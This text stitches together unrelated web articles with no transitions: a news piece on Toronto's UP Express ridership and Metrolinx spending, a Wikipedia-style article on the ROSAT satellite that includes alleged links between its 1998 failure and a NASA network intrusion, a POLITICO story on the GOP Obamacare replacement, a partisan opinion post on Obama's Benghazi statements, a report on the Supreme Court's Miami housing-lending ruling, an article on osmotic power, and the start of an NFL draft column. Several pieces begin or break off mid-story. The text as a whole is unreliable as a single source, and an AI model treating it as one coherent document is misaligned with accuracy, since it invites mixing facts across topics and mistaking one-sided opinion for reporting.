Some critics say the prices are still too high. Former Weston NDP MP Mike Sullivan says the publicly funded train that was built for $456 million and priced for business travellers, should cost the same as a TTC fare. Price is clearly a big factor in attracting more riders, but Metrolinx is also still working on improving signage to direct riders to the UPX and the lack of a direct connection to the train from the TTC’s Dundas West Station on Bloor St. remains a “pain point,” Aikins said.
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Metrolinx officials have said it will take five years to build a tunnel between the two stations because of the need to expropriate property. The ridership is a bright spot for the agency that was facing criticism again this week for the $40,000 cost of its uniform designs. The designs were part of a $4.5 million creative services contract with Winkreative reported in the Star last year. At one point Metrolinx staff proposed spending about $23,000 to be part of a Toronto fashion show. But when the agency decided that a fashion show wasn’t part of its transportation mission, it backed out. Metrolinx was, nevertheless, left holding $8,475 for uniform materials related to the show. “UPX retained the samples and staff currently use them for training and presentations,” said Aikins. In a statement, Metrolinx said, it, “will be working with the Ministry of Transportation to ensure value for money. We concur that our focus should be on planning, building and operating transit.” Transportation Minister Steven Del Duca said he had already expressed his concerns with Metrolinx chair Robert Prichard, adding that the agency should work with the ministry’s chief administrative officer “to ensure ongoing value for money.” “I am confident that moving forward there will be an exclusive focus on delivering on our important mandate,” said Del Duca.
ROSAT (short for Röntgensatellit, in German X-rays are called Röntgenstrahlen, in honour of Wilhelm Röntgen) was a German Aerospace Center-led satellite X-ray telescope, with instruments built by West Germany, the United Kingdom and the United States. It was launched on 1 June 1990, on a Delta II rocket from Cape Canaveral, on what was initially designed as an 18-month mission, with provision for up to five years of operation. ROSAT actually operated for over eight years, finally shutting down on 12 February 1999.
In February 2011, it was reported that the 2,400 kg (5,291 lb) satellite was unlikely to burn up entirely while re-entering the Earth's atmosphere due to the large amount of ceramics and glass used in construction. Parts as heavy as 400 kg (882 lb) could impact the surface intact.[2] ROSAT eventually re-entered the Earth's atmosphere on 23 October 2011 over Bay of Bengal.[3]
Overview [ edit ]
According to NASA,[4] the Roentgensatellit (ROSAT) was a joint German, U.S. and British X-ray astrophysics project. ROSAT carried a German-built imaging X-ray Telescope (XRT) with three focal plane instruments: two German Position Sensitive Proportional Counters (PSPC) and the US-supplied High Resolution Imager (HRI). The X-ray mirror assembly was a grazing incidence four-fold nested Wolter I telescope with an 84-cm diameter aperture and 240-cm focal length. The angular resolution was less than 5 arcsecond at half energy width (the "angle within which half of the electromagnetic radiation"[5] is focused). The XRT assembly was sensitive to X-rays between 0.1 and 2 keV (one thousand Electronvolt).
In addition, a British-supplied extreme ultraviolet (XUV) telescope, the Wide Field Camera (WFC), was coaligned with the XRT and covered the energy band from 0.042 to 0.21 keV (30 to 6 nm).
ROSAT's unique strengths were high spatial resolution, low-background, soft X-ray imaging for the study of the structure of low surface brightness features, and for low-resolution spectroscopy.
The ROSAT spacecraft was a three-axis stabilized satellite which can be used for pointed observations, for slewing between targets, and for performing scanning observations on great circles perpendicular to the plane of the ecliptic. ROSAT was capable of fast slews (180 deg. in ~15 min.) which makes it possible to observe two targets on opposite hemispheres during each orbit. The pointing accuracy was 1 arcminute with stability less than 5 arcsec per sec and jitter radius of ~10 arcsec. Two CCD star sensors were used for optical position sensing of guide stars and attitude determination of the spacecraft. The post facto attitude determination accuracy was 6 arcsec.
The ROSAT mission was divided into two phases:
After a two-month on-orbit calibration and verification period, an all-sky survey was performed for six months using the PSPC in the focus of XRT, and in two XUV bands using the WFC. The survey was carried out in the scan mode. The second phase consists of the remainder of the mission and was devoted to pointed observations of selected astrophysical sources. In ROSAT's pointed phase, observing time was allocated to Guest Investigators from all three participating countries through peer review of submitted proposals. ROSAT had a design life of 18 months, but was expected to operate beyond its nominal lifetime.
Instruments [ edit ]
X-ray Telescope (XRT) [ edit ]
The main assembly was a German-built imaging X-ray Telescope (XRT) with three focal plane instruments: two German Position Sensitive Proportional Counters (PSPC) and the US-supplied High Resolution Imager (HRI). The X-ray mirror assembly was a grazing incidence four-fold nested Wolter I telescope with an 84 cm (33 in) diameter aperture and 240 cm (94 in) focal length. The angular resolution was less than 5 arcsec at half energy width. The XRT assembly was sensitive to X-rays between 0.1 and 2 keV.[4]
Position Sensitive Proportional Counters (two) (PSPC) [ edit ]
Each Position Sensitive Proportional Counter (PSPC) is a thin-window gas counter. Each incoming X-ray photon produces an electron cloud whose position and charge are detected using two wire grids. The photon position is determined with an accuracy of about 120 micrometers. The electron cloud's charge corresponds to the photon energy.[6]
High Resolution Imager (HRI) [ edit ]
The US supplied High Resolution Imager used a crossed grid detector with a position accuracy to 25 micrometers.[7] The instrument was damaged by solar exposure on 20 September 1998.
Wide Field Camera (WFC) [ edit ]
The Wide Field Camera (WFC) was a British-supplied extreme ultraviolet (XUV) telescope co-aligned with the XRT and covered the wave band between 300 and 60 angstroms (0.042 to 0.21 keV).[4]
Highlights [ edit ]
Earth's Moon on 29 June 1990 by ROSAT
Catalogues [ edit ]
1RXS - an acronym which is the prefix used for the First ROSAT X-ray Survey (1st ROSAT X-ray Survey), a catalogue of astronomical objects visible for ROSAT in the X-ray spectrum.
See also Category:ROSAT objects
Launch [ edit ]
ROSAT was originally planned to be launched on the Space Shuttle but the Challenger disaster caused it to be moved to the Delta platform. This move made it impossible to recapture ROSAT with a Shuttle and bring it back to Earth.[citation needed]
End of operations [ edit ]
Originally designed for a five-year mission, ROSAT continued in its extended mission for a further four years before equipment failure forced an end to the mission. For some months after this, ROSAT completed its very last observations before being finally switched off on 12 February 1999.[8]
On 25 April 1998, failure of the primary star tracker on the X-ray Telescope led to pointing errors that in turn had caused solar overheating.[9] A contingency plan and the necessary software had already been developed to utilise an alternative star tracker attached to the Wide Field Camera.
ROSAT was soon operational again, but with some restrictions to the effectiveness of its tracking and thus its control.[10] It was severely damaged on 20 September 1998 when a reaction wheel in the spacecraft's Attitude Measuring and Control System (AMCS) reached its maximum rotational speed,[note 1] losing control of a slew, damaging the High Resolution Imager by exposure to the sun.[10] This failure was initially attributed to the difficulties of controlling the satellite under these difficult circumstances outside its initial design parameters.[10]
Allegations of cyber-attacks causing the failure [ edit ]
In 2008, NASA investigators were reported to have found that the ROSAT failure was linked to a cyber-intrusion at Goddard Space Flight Center.[11] This was also reported through Bruce Schneier's blog, a highly regarded commentary on IT security issues.[12]
The root of this allegation is a 1999 advisory report by Thomas Talleur, senior investigator for cyber-security at NASA.[11] This advisory[13] is reported to describe a series of attacks from Russia that reached computers in the X-ray Astrophysics Section (i.e. ROSAT's) at Goddard, and took control of computers used for the control of satellites, not just a passive "snooping" attack. The advisory stated:
"Hostile activities compromised [NASA] computer systems that directly and indirectly deal with the design, testing, and transferring of satellite package command-and-control codes."[13]
The advisory is further reported as claiming that the ROSAT incident was "coincident with the intrusion"[11] and that, "Operational characteristics and commanding of the ROSAT were sufficiently similar to other space assets to provide intruders with valuable information about how such platforms are commanded,".[11] Without public access to the advisory, it is obviously impossible to comment in detail. While it does seem to describe a real intrusion, there is a plausible "no attack" explanation for ROSAT's failure, and the report is claimed to link the two incidents as no more than "coincident."
IT security remains a significant issue for NASA. Other systems including the Earth Observing System have also been attacked.[14]
ROSAT: one of the last images of ROSAT before reentry
In 1990, the satellite was put in an orbit at an altitude of 580 km (360 mi) and inclination of 53°.[15] Due to atmospheric drag, the satellite slowly lost height until, in September 2011, the satellite was orbiting approximately 270 km (168 mi) above the Earth. On 23 October 2011 ROSAT re-entered the Earth's atmosphere sometime between 1:45 UTC and 2:15 UTC over the Bay of Bengal, east of India. There was no confirmation if pieces of debris had reached the Earth's surface.[16][17][18]
Notes [ edit ]
^ [ clarification needed ] "Reaching maximum speed" means merely that it cannot impart any more velocity change, not that it's approaching mechanical damage to itself. reaction wheel operates by changing its rotational velocity, conservation of angular momentum then causing the more massive satellite to rotate in opposition. Their maximum speed is limited by design, which in turn means they are limited in the rotational velocity they can impart to a satellite."Reaching maximum speed" means merely that it cannot impart any more velocity change, not that it's approaching mechanical damage to itself.
Their confidence, coming after months of dead ends and false starts, is fueled by the belief that President Donald Trump has their back — even if some conservatives currently don't.
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At a closed-door meeting with Republicans on Thursday, Speaker Paul Ryan said he plans for the House to hold a vote on the leadership's Obamacare alternative in three weeks, sources in the room told POLITICO. The White House and the Senate support the House GOP leadership's effort, Ryan added — comments many in the room took as a warning for the far right to get in line.
On Friday, Vice President Mike Pence and newly installed Health and Human Services Secretary Tom Price will join Ryan in his hometown of Janesville, Wisconsin, to pitch their health care agenda. It’s the clearest display of unity yet between the White House and GOP leadership on an Obamacare replacement strategy.
Price, meanwhile, has been summoning to his office conservative agitators who oppose Ryan’s draft proposal. While Price didn’t try to strong-arm them into standing down, the meetings themselves send a signal that the White House is in Ryan’s corner.
“We’re all working off the same piece of paper, the same plan,” Ryan said at a Thursday news conference when asked about conservative opposition. “We are in sync — the House, the Senate and the Trump administration, because this law is collapsing.”
Privately, senior Republican lawmakers and staff are more blunt. They say they have no problem steamrolling conservatives by daring them to vote against an Obamacare repeal that their constituents have demanded for years.
“Conservatives are going to be in a box,” said one senior Republican lawmaker. Trump, the source predicted, eventually will “go out front and … tell the conservatives … they’re either for this or for keeping Obamacare.”
That moment hasn't arrived yet, though, and conservatives haven't been shy about voicing their objections to Ryan’s plan — including to administration officials. Several House Freedom Caucus and Republican Study Committee members have joined Senate firebrands Rand Paul, Ted Cruz and Mike Lee in blasting a draft Ryan plan as “Obamacare-lite.”
The White House has responded by dispatching Price, a former House member with sterling conservative credentials, to quell the uprising and try to sell conservatives on the repeal plan. Price once ran the conservative Republican Study Committee himself. And he wrote an Obamacare replacement plan that closely mirrors Ryan's — and that had broad support among members on the far right, including Freedom Caucus Chairman Mark Meadows of North Carolina.
Price in the coming weeks is expected to meet with Republicans opposed to the leadership plan. He summoned study committee Chairman Mark Walker on Wednesday after the North Carolina Republican said he would vote against a draft of the House bill. The statement had surprised leadership and irked some of his fellow study committee members: California Rep. Tom McClintock. in a private RSC meeting, called it “Freedom Caucus crap,” referring to the in-your-face tactics employed by the smaller, more aggressive group. McClintock resigned from the Freedom Caucus in 2015.
Price also met Wednesday with Meadows, Jim Jordan of Ohio and Morgan Griffith of Virginia. POLITICO reported the night before that Meadows’ wife had sent a mass email to Republicans in North Carolina, urging them to call the White House and Congress to oppose what she derisively dubbed “Ryancare.”
Price's outreach seems to have engendered goodwill. Freedom Caucus leaders declined an invitation from Paul to engage in a high-profile act of political theater on Thursday to protest what conservatives see as a secretive process used to craft the GOP health care legislation. Paul wanted the group to join him in trying to barge through security into a Capitol meeting room where GOP leaders were rumored to have stashed the latest draft of the health care plan.
Some Freedom Caucus members insist that, as far as they know, the White House hasn't endorsed Ryan's bill. They say they've never been told by administration officials that Trump backs the proposal.
“There have been stories in the media that somehow the White House and Ryan’s office are in agreement on health care,” said Rep. Raul Labrador (R-Idaho), a Freedom Caucus member. “We have not heard that [Trump] backed it or he doesn’t."
Other conservatives, however, believe the White House is moving in Ryan's direction. In a brief interview outside the House chamber Wednesday evening, Walker said it’s clear from his meetings with senior administration officials that Ryan’s plan is “the way that they’re headed.”
Numerous sources told POLITICO that Price and other White House staff have defended the use of refundable tax credits — a big sore point for far-right members that are part of Ryan's plan — during several meetings with conservatives.
Paul, one of the most vocal opponents of the House GOP plan, said he sparred with Price over the tax credits during a recent conversation.
“The only thing we have a disagreement on is refundable tax credits,” Paul said of his conversations with Price, though he also knocked Ryan’s proposal to pay for part of the replacement by curbing an employer deduction for health care. “We’re not real excited about a new tax on health insurance.”
With the Energy and Commerce Committee expected to take up the first portion of the GOP leadership bill next week, a path to the end of the first phase of the Obamacare fight — passing the bill in the House — is starting to emerge. The Senate, however, is another story.
The upper chamber is tensely divided over how to handle the Medicaid expansion under Obamacare; any rollback is bound to create winners and losers among states. Majority Leader Mitch McConnell of Kentucky told Ryan he needs the House bill within three weeks to move a measure through his own chamber before senators get bogged down in other issues.
The White House wasn’t always behind Ryan's plan; the speaker had to sell it. Price's involvement — which was delayed by his confirmation fight — has certainly helped.
Since early February, conservatives have been making their case to the White House that they should simply move a repeal bill and get to the details of replacement later. For weeks, White House officials did nothing to counter the conservative backlash: Two senior administration aides attended a February conservative retreat where Freedom Caucus leaders and Walker devised their plan to push for an immediate repeal vote.
Last week, conservatives decided to make a push against Ryan's bill via a media blitz, an effort devised partly to try to get Trump’s attention.
Some conservatives are still hoping they can win a few changes. During his meeting with Price, Walker said he asked the secretary to consider tying tax credits to a person's income level as well as a quicker end to Obamacare's expansion of Medicaid. He also expressed concerns about the cost of the replacement package, as he worries it will cost the government just as much as Obamacare did.
Walker added that he hopes to get to yes.
“We want to get behind the House plan, but we just want to make sure, to quote Secretary Price, that these dials are turned in the right direction," he said. "We want to make sure we’re not putting the middle class in a situation where they're carrying the weight of this.”
"The Day after it happened I acknowledged that this was an act of terrorism." "What we have been very clear about throughout, was that immediately after this event had happened we were not clear who exactly had carried it out, how it had occurred, what the motivations were. It happened at the same time we had seen attacks on the US Embassy in Cairo as a result of this film." "Nobody understood exactly what was taking place during the course of those first few days." "Suddenly, three days ago, this gets spun up as if there's something new to the story. There's no "there" there. "Talking points pretty much matched the assessment I was receiving at that time in my presidential briefing...."
Obama claims to have known the day after the attacks that they were an act of terrorism. (He's claiming that his Rose Garden comments about terrorism in general amount to a statement that the attacks were terror-related, but this is not the case. However, for the sake of, ahem, clarity, let's assume it is.) So, thus far, we have:
Day After. Obama. Terrorism.
But, immediately after it happened he wasn't clear who did it, how it occurred and the motivation. So:
Immediately After. Obama. Unclear.
Obama knew it was terrorism the day after, but immediately after, it wasn't clear. When exactly does "immediately after the attack" begin and end before it becomes the "day after"? Isn't the "day after" it happened pretty much the same as "immediately after" it happened? And how do those 7 hours of sleep factor into this unclear/clear timeline? Could it be he knew it was terrorism before he didn't know it was terrorism? And did his Rose Garden statement take place during the period "immediately after" it happened or the "day after"?
What difference at this point does it make? Let's move on.
Leaving behind Obama's initial certitude about Benghazi having been a terror attack, not only did he not know what had happened because it wasn't clear, but he goes on to make the sweeping statement that nobody understood exactly what was taking place during the course of those first few days. Those first few days must, ipso facto, include "immediately after" when he knew it was terror, so it would seem that nobody, including the president, knew what was happening during those first few days, even though at one point in the immediate period following the attack, the President did know. Wow. I think I just blew my own mind. Anyway:
First Few Days. Nobody Understood.
Except for a brief moment immediately after the attack when Obama knew it was terrorism, all of this "it was unclear" and "nobody understood" is in direct conflict with Greg Hicks' testimony that personnel in the field as far from Benghazi as Tripoli, knew almost instantaneously that terrorism was involved. Even Ansar al Sharia -- a known terrorist group that took credit for the attack as it was unfolding -- did so in order to ensure there would be no doubt that this was...a terror attack.
Is this getting any clearer?
So, even though everyone on the ground in Libya knew what was happening and this was communicated throughout the duration of the attack to Washington, and even though there was no mention by the Prime Minister or Ambassador Stevens or anyone else we are aware of, about a video spurring protests that got out of hand, Obama still claims that nobody understood anything.
Then, magically, five days later
-even though personnel in Libya claim everyone on the ground and in Washington knew it was terror-related, and
-even though the day after the attack Obama knew it was terror-related, and
-even though immediately after the attack it was not clear to Obama, and
-even though during the first few days after the attack nobody understood what was going on...
Susan Rice used talking points on the Sunday morning television shows to promote the notion that the attacks were spurred on by a protest against an anti-Muslim video that got out of hand. And we know that every appearance Obama and Hillary made thereafter, conclusively stated that the video -- and not the terrorists -- was to blame for Benghazi. That would include when Obama appeared on TV with Steve Croft, when he and Hillary did the State Department television announcement for Pakistan and when they spoke so touchingly at Andrews Air Force base over the caskets of the Forgotten Four.
After reading through the talking points memos it's clear that everyone knew it was terrorism from the get-go, and we now know that the CIA's original talking points were altered to reflect the video fairy tale and remove all references to terrorism. After reading the original CIA talking points which clearly lay out that the Benghazi attack was terror-related -- something we can all do with our own two eyes -- does Obama still maintain that the "nobodies" he claims didn't understand anything the first few days after the attack, are still unclear? Or is it now clear to them that Benghazi was a terror attack?
Does it really make any difference? After all, it happened so long ago.
Obama said the talking points are a side show...so he either cannot read or is hoping you won't read them. He says it's all recently been spun and that there's no "there" there.
Conservatives have been convinced since day one, that the cause of the attacks was terrorism. Obama is talking to his liberal supporters hoping they will buy his convoluted logic and not rely on their own (frankly, calling his logic "logic" is insulting to logic).
When toiling with proofs in high school geometry and being thoroughly flummoxed, our teacher used to tell us: "If you can't convince them, confuse them."
The Supreme Court ruled Monday that federal anti-discrimination law allows cities to sue a bank over lending practices they allege led to urban blight but said they face a high standard in proving those practices directly harmed the local governments.
The ruling was a mixed one for Miami, which was at the forefront of a move by cities nationwide to sue big lending institutions under the federal Fair Housing Act.
Banks have previously been sued by individuals and taken to task by the federal government for lending practices. But these new cases are the first in which cities are the plaintiffs and are demanding that banks be held accountable for harming their communities.
A majority of the justices agreed that cities, not just individuals, can sue under the Fair Housing Act.
[Supreme Court seems to favor Miami suing banks whose lending practices led to neighborhood blight]
“This court has repeatedly written that the FHA’s definition of person ‘aggrieved’ reflects a congressional intent to confer standing broadly,” Justice Stephen G. Breyer wrote for himself and four other justices.
But the justices unanimously decided that a lower court had incorrectly allowed Miami’s lawsuit against Wells Fargo and Bank of America to go forward without more proof that the bank practices had directly harmed the city by, for instance, reducing the amount of property taxes it received.
Instead, cities must show “some direct relationship between the injury asserted and the injurious conduct alleged,” Breyer wrote.
The half-full, half-empty opinion seemed to reflect an effort at compromise among the eight justices who heard the case. Chief Justice John G. Roberts Jr. joined the four liberals in the majority opinion that cities could sue under the Fair Housing Act, but the justices did not describe what would constitute the direct relationship that must be shown. That hard work was left for the lower court on remand.
Miami and other cities have pursued a novel approach under the Fair Housing Act to recover what they lost as a result of lower tax revenue and greater demand for services after the housing collapse.
[To recoup losses from the housing collapse, Miami pursues a novel suit]
The banks countered that Congress never intended for the law to be used for such purposes.
“Municipal suits like this one were unheard of until recently, when enterprising contingency-fee counsel began pushing them,” Bank of America told the court in its brief. Baltimore settled a suit it had filed against banks, and there is litigation underway by Cook County, Ill., Oakland, Calif., Los Angeles and other cities.
The law allows an “aggrieved person” to file a civil action seeking damages, and the first question for the court was whether cities qualified.
Breyer said the court’s precedents show that it has interpreted the law in a broad fashion, because that is what Congress intended.
Civil rights groups pointed to the finding that cities could sue as the most important takeaway from Monday’s court decision.
“Today’s Supreme Court decision reinforces the critical role that states and cities must play in holding banks and other actors accountable for actions that continue to harm communities, particularly minority communities that have borne the brunt of the crisis,” said Kristen Clarke, president and executive director of the Lawyers’ Committee for Civil Rights Under Law.
Breyer recounted the city’s argument: Predatory lending practices in minority neighborhoods led to a concentration of foreclosures. That caused stagnation and decline. “They hindered the city’s efforts to create integrated, stable neighborhoods. And, highly relevant here, they reduced property values, diminishing the city’s property tax revenue and increasing demand for municipal services,” he wrote.
But Breyer, joined by Roberts and liberal justices Ruth Bader Ginsburg, Sonia Sotomayor and Elena Kagan, said that only got the city into the courthouse.
To prevail, the city must prove the direct causal link, and they hinted it might be difficult to do that.
“The housing market is interconnected with economic and social life. A violation of the FHA may, therefore, be expected to cause ripples of harm to flow far beyond the defendant’s misconduct,” Breyer wrote. “Nothing in the statute suggests that Congress intended to provide a remedy wherever those ripples travel.”
Previously, the U.S. Court of Appeals for the 11th Circuit said Miami only had to show that its damages were “foreseeable” by the banks to proceed to trial. The Supreme Court unanimously said that was the wrong standard.
Robert S. Peck of the Center for Constitutional Litigation, which represented Miami, said the city is ready to prove the banks’ action directly led to the city’s problems. “We’re capable of doing it,” he said.
But Wells Fargo and Bank of America said the new standards will be hard to meet. The city’s charges “are without merit,” said Bank of America’s spokesman Lawrence Grayson.
The three dissenting justices also said Miami could not prove its case.
Justices Anthony M. Kennedy and Samuel A. Alito Jr. signed on to Justice Clarence Thomas’s dissenting opinion that Miami should not be able to bring suit under the Fair Housing Act. Even if it could, he wrote, the city’s injuries are “exceedingly attenuated.”
Thomas noted that the “chain of causation” in Miami occurred between 2004 and 2012. “The court of appeals will not need to look far to discern other, independent events that might well have caused the injuries Miami alleges,” Thomas wrote.
The case was argued before Justice Neil M. Gorsuch joined the court, and he took no part in the decision.
"Blue energy" redirects here. For the NGO, see blueEnergy
Osmotic power, salinity gradient power or blue energy is the energy available from the difference in the salt concentration between seawater and river water. Two practical methods for this are reverse electrodialysis (RED) and pressure retarded osmosis (PRO). Both processes rely on osmosis with membranes. The key waste product is brackish water. This byproduct is the result of natural forces that are being harnessed: the flow of fresh water into seas that are made up of salt water.
In 1954, Pattle[1] suggested that there was an untapped source of power when a river mixes with the sea, in terms of the lost osmotic pressure, however it was not until the mid ‘70s where a practical method of exploiting it using selectively permeable membranes by Loeb [2] was outlined.
The method of generating power by pressure retarded osmosis was invented by Prof. Sidney Loeb in 1973 at the Ben-Gurion University of the Negev, Beersheba, Israel.[3] The idea came to Prof. Loeb, in part, as he observed the Jordan River flowing into the Dead Sea. He wanted to harvest the energy of mixing of the two aqueous solutions (the Jordan River being one and the Dead Sea being the other) that was going to waste in this natural mixing process.[4] In 1977 Prof. Loeb invented a method of producing power by a reverse electrodialysis heat engine.[5]
The technologies have been confirmed in laboratory conditions. They are being developed into commercial use in the Netherlands (RED) and Norway (PRO). The cost of the membrane has been an obstacle. A new, lower cost membrane, based on an electrically modified polyethylene plastic, made it fit for potential commercial use.[6] Other methods have been proposed and are currently under development. Among them, a method based on electric double-layer capacitor technology.[7] and a method based on vapor pressure difference.[8]
Basics of salinity gradient power [ edit ]
Pressure-retarded osmosis
Salinity gradient power is a specific renewable energy alternative that creates renewable and sustainable power by using naturally occurring processes. This practice does not contaminate or release carbon dioxide (CO 2 ) emissions (vapor pressure methods will release dissolved air containing CO 2 at low pressures—these non-condensable gases can be re-dissolved of course, but with an energy penalty). Also as stated by Jones and Finley within their article “Recent Development in Salinity Gradient Power”, there is basically no fuel cost.
Salinity gradient energy is based on using the resources of “osmotic pressure difference between fresh water and sea water.”[9] All energy that is proposed to use salinity gradient technology relies on the evaporation to separate water from salt. Osmotic pressure is the "chemical potential of concentrated and dilute solutions of salt".[10] When looking at relations between high osmotic pressure and low, solutions with higher concentrations of salt have higher pressure.
Differing salinity gradient power generations exist but one of the most commonly discussed is pressure-retarded osmosis (PRO). Within PRO seawater is pumped into a pressure chamber where the pressure is lower than the difference between fresh and salt water pressure. Fresh water moves in a semipermeable membrane and increases its volume in the chamber. As the pressure in the chamber is compensated a turbine spins to generate electricity. In Braun's article he states that this process is easy to understand in a more broken down manner. Two solutions, A being salt water and B being fresh water are separated by a membrane. He states "only water molecules can pass the semipermeable membrane. As a result of the osmotic pressure difference between both solutions, the water from solution B thus will diffuse through the membrane in order to dilute solution A".[11] The pressure drives the turbines and power the generator that produces the electrical energy. Osmosis might be used directly to "pump" fresh water out of The Netherlands into the sea. This is currently done using electric pumps.
Efficiency [ edit ]
A 2012 study on efficiency from Yale university concluded that the highest extractable work in constant-pressure PRO with a seawater draw solution and river water feed solution is 0.75 kWh/m3 while the free energy of mixing is 0.81 kWh/m3—a thermodynamic extraction efficiency of 91.0%.[12]
Methods [ edit ]
While the mechanics and concepts of salinity gradient power are still being studied, the power source has been implemented in several different locations. Most of these are experimental, but thus far they have been predominantly successful. The various companies that have utilized this power have also done so in many different ways as there are several concepts and processes that harness the power from salinity gradient.
Pressure-retarded osmosis [ edit ]
Simple PRO power generation scheme
Osmotic Power Prototype at Tofte (Hurum), Norway
One method to utilize salinity gradient energy is called pressure-retarded osmosis.[13] In this method, seawater is pumped into a pressure chamber that is at a pressure lower than the difference between the pressures of saline water and fresh water. Freshwater is also pumped into the pressure chamber through a membrane, which increase both the volume and pressure of the chamber. As the pressure differences are compensated, a turbine is spun, providing kinetic energy. This method is being specifically studied by the Norwegian utility Statkraft, which has calculated that up to 2.85 GW would be available from this process in Norway.[14] Statkraft has built the world's first prototype PRO power plant on the Oslo fjord which was opened by Princess Mette-Marit of Norway[15] on November 24, 2009. It aims to produce enough electricity to light and heat a small town within five years by osmosis. At first, it will produce a minuscule 4 kilowatts – enough to heat a large electric kettle, but by 2015 the target is 25 megawatts – the same as a small wind farm.[16] In January 2014 however Statkraft announced not to continue this pilot.[17]
Reversed electrodialysis [ edit ]
A second method being developed and studied is reversed electrodialysis or reverse dialysis, which is essentially the creation of a salt battery. This method was described by Weinstein and Leitz as “an array of alternating anion and cation exchange membranes can be used to generate electric power from the free energy of river and sea water.”
The technology related to this type of power is still in its infant stages, even though the principle was discovered in the 1950s. Standards and a complete understanding of all the ways salinity gradients can be utilized are important goals to strive for in order make this clean energy source more viable in the future.
Capacitive method [ edit ]
A third method is Doriano Brogioli's[7] capacitive method, which is relatively new and has so far only been tested on lab scale. With this method energy can be extracted out of the mixing of saline water and freshwater by cyclically charging up electrodes in contact with saline water, followed by a discharge in freshwater. Since the amount of electrical energy which is needed during the charging step is less than one gets out during the discharge step, each completed cycle effectively produces energy. An intuitive explanation of this effect is that the great number of ions in the saline water efficiently neutralizes the charge on each electrode by forming a thin layer of opposite charge very close to the electrode surface, known as an electric double layer. Therefore, the voltage over the electrodes remains low during the charge step and charging is relatively easy. In between the charge and discharge step, the electrodes are brought in contact with freshwater. After this, there are less ions available to neutralize the charge on each electrode such that the voltage over the electrodes increases. The discharge step which follows is therefore able to deliver a relatively high amount of energy. A physical explanation is that on an electrically charged capacitor, there is a mutually attractive electric force between the electric charge on the electrode, and the ionic charge in the liquid. In order to pull ions away from the charged electrode, osmotic pressure must do work. This work done increases the electrical potential energy in the capacitor. An electronic explanation is that capacitance is a function of ion density. By introducing a salinity gradient and allowing some of the ions to diffuse out of the capacitor, this reduces the capacitance, and so the voltage must increase, since the voltage equals the ratio of charge to capacitance.
Vapor pressure differences: open cycle and absorption refrigeration cycle (closed cycle) [ edit ]
Both of these methods do not rely on membranes, so filtration requirements are not as important as they are in the PRO & RED schemes.
Open cycle [ edit ]
Similar to the open cycle in ocean thermal energy conversion (OTEC). The disadvantage of this cycle is the cumbersome problem of a large diameter turbine (75 meters +) operating at below atmospheric pressure to extract the power between the water with less salinity & the water with greater salinity.
Absorption refrigeration cycle (closed cycle) [ edit ]
For the purpose of dehumidifying air, in a water-spray absorption refrigeration system, water vapor is dissolved into a deliquescent salt water mixture using osmotic power as an intermediary. The primary power source originates from a thermal difference, as part of a thermodynamic heat engine cycle.
Solar pond [ edit ]
At the Eddy Potash Mine in New Mexico, a technology called "salinity gradient solar pond" (SGSP) is being utilized to provide the energy needed by the mine. This method does not harness osmotic power, only solar power (see: solar pond). Sunlight reaching the bottom of the saltwater pond is absorbed as heat. The effect of natural convection, wherein "heat rises", is blocked using density differences between the three layers that make up the pond, in order to trap heat. The upper convection zone is the uppermost zone, followed by the stable gradient zone, then the bottom thermal zone. The stable gradient zone is the most important. The saltwater in this layer can not rise to the higher zone because the saltwater above has lower salinity and is therefore less-dense and more buoyant; and it can not sink to the lower level because that saltwater is denser. This middle zone, the stable gradient zone, effectively becomes an "insulator" for the bottom layer (although the main purpose is to block natural convection, since water is a poor insulator). This water from the lower layer, the storage zone, is pumped out and the heat is used to produce energy, usually by turbine in an organic Rankine cycle.[18]
In theory a solar pond could be used to generate osmotic power if evaporation from solar heat is used to create a salinity gradient, and the potential energy in this salinity gradient is harnessed directly using one of the first three methods above, such as the capacitive method.
Boron nitride nanotubes [ edit ]
A research team built an experimental system using boron nitride that produced much greater power than the Statoil prototype. It used an impermeable and electrically insulating membrane that was pierced by a single boron nitride nanotube with an external diameter of a few dozen nanometers. With this membrane separating a salt water reservoir and a fresh water reservoir, the team measured the electric current passing through the membrane using two electrodes immersed in the fluid either side of the nanotube.
The results showed the device was able to generate an electric current on the order of a nanoampere. The researchers claim this is 1,000 times the yield of other known techniques for harvesting osmotic energy and makes boron nitride nanotubes an extremely efficient solution for harvesting the energy of salinity gradients for usable electrical power.
The team claimed that a 1 square metre (11 sq ft) membrane could generate around 4 kW and be capable of generating up to 30 MWh per year.[19]
Using low caloric waste energy by regenerate a high solution ammonium bicarbonate in a solution with a low salinity [ edit ]
At Pennsylvania State University, Dr. Logan tries to use waste heat with low calority using the fact that ammonium bicarbonate disappears into NH 3 and CO 2 in warm water to form ammonia bicarbonate again in cold water. So in a RED energy producing closed system the two different gradients of salinity are kept.[20]
Possible negative environmental impact [ edit ]
Marine and river environments have obvious differences in water quality, namely salinity. Each species of aquatic plant and animal is adapted to survive in either marine, brackish, or freshwater environments. There are species that can tolerate both, but these species usually thrive best in a specific water environment. The main waste product of salinity gradient technology is brackish water. The discharge of brackish water into the surrounding waters, if done in large quantities and with any regularity, will cause salinity fluctuations. While some variation in salinity is usual, particularly where fresh water (rivers) empties into an ocean or sea anyway, these variations become less important for both bodies of water with the addition of brackish waste waters. Extreme salinity changes in an aquatic environment may result in findings of low densities of both animals and plants due to intolerance of sudden severe salinity drops or spikes.[21] According to the prevailing environmentalist opinions, the possibility of these negative effects should be considered by the operators of future large blue energy establishments.
The impact of brackish water on ecosystems can be minimized by pumping it out to sea and releasing it into the mid-layer, away from the surface and bottom ecosystems.
Impingement and entrainment at intake structures are a concern due to large volumes of both river and sea water utilized in both PRO and RED schemes. Intake construction permits must meet strict environmental regulations and desalination plants and power plants that utilize surface water are sometimes involved with various local, state and federal agencies to obtain permission that can take upwards to 18 months.
By Steve Palazzolo • Feb 21, 2017
Pro Football Focus’ Draft Daily will hit on a number of NFL Draft-related topics including recent news, scouting reports, PFF draft takes, and much more on a frequent basis.
Yesterday’s PFF Draft Daily examined the question: how early is too early to draft a QB? Be sure to join the conversation and leave us your thoughts.
What did we miss on Dak?
It’s a question not just for PFF, but for the entire NFL. After Dak Prescott’s outstanding rookie season, it’s a fair question to ask why he was drafted in the fourth round at No. 135 overall. When evaluating his 2015 Mississippi State film compared to his 2016 Dallas tape, it’s clear that Prescott made great strides with his footwork, pocket presence, decision-making and accuracy, so credit needs to go to both Prescott and the Cowboys’ coaching staff. However, when looking back at our unique PFF data, there may have been a couple pieces of data in our advanced accuracy charting that should have received more attention from our team.
